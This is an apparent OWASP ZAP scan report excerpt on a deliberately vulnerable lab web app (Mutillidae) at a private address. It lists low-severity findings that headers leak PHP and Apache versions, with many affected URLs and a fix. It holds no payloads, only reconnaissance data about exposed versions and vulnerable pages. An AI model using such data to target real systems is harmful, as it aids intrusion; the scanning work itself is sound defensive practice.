URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
Method	GET

Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=framing.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET

Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=rene-magritte.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	

Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	

Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Instances	117
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress "X-Powered-By" headers.
Reference	http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx

	http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
CWE Id	200
WASC Id	13
Plugin Id	10037

Low	**Server Leaks Version Information via "Server" HTTP Response Header Field**
Description	The web/application server is leaking version information via the "Server" HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to.
URL	http://192.168.0.9/*
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/*;q=0.8
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/--
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/b
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/div
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/dvwa/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/form
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/h1
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/home/remastersys/remastersys
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/i
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/includes/back-button.inc
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/index.php?page=register.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	

Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/favicon.ico
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/framer.html
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/function.highlight-file
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/add_icon.png
Method	GET
Attack	

Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/back-button-128px-by-128px.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/backtrack-4-r2-logo-90-69.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/bui_eclipse_pos_logo_fc_med.jpg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/coykillericon.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/delete-icon-256-256.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/IhackBanner2x_final_print.jpg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/magnifying-glass-icon.jpeg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/owasp-logo-400-300.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/php-mysql-logo-176-200.jpeg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/refresh-button-48px-by-48px.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

URL	http://192.168.0.9/mutillidae/images/rene-magritte-frame.jpg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/samurai-wtf-logo-320-214.jpeg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/toad-for-mysql-77-80.jpg
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/twitter.gif
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/images/youtube_256_256.png
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=change-log.htm
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=credits.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=html5-storage.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=installation.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=login.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=notes.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=password-generator.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=php-errors.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=source-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=user-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=add-to-your-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=browser-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=capture-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=captured-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=change-log.htm
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=credits.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=dns-lookup.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=framing.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=home.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=html5-storage.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=installation.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=login.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=notes.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=page-not-found.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=password-generator.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=php-errors.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=redirectandlog.php

Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=register.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=set-background-color.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=show-log.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=source-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=text-file-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=usage-instructions.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-poll.php

Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=view-someones-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.isd-podcast.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.issa-kentuckiana.org/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.php.net/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=framing.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=rene-magritte.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/javascript/bookmark-site.js
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/javascript/follow-mouse.js
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/javascript/html5-secrets.js
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/ddsmoothmenu-v.css
Method	GET
Attack	
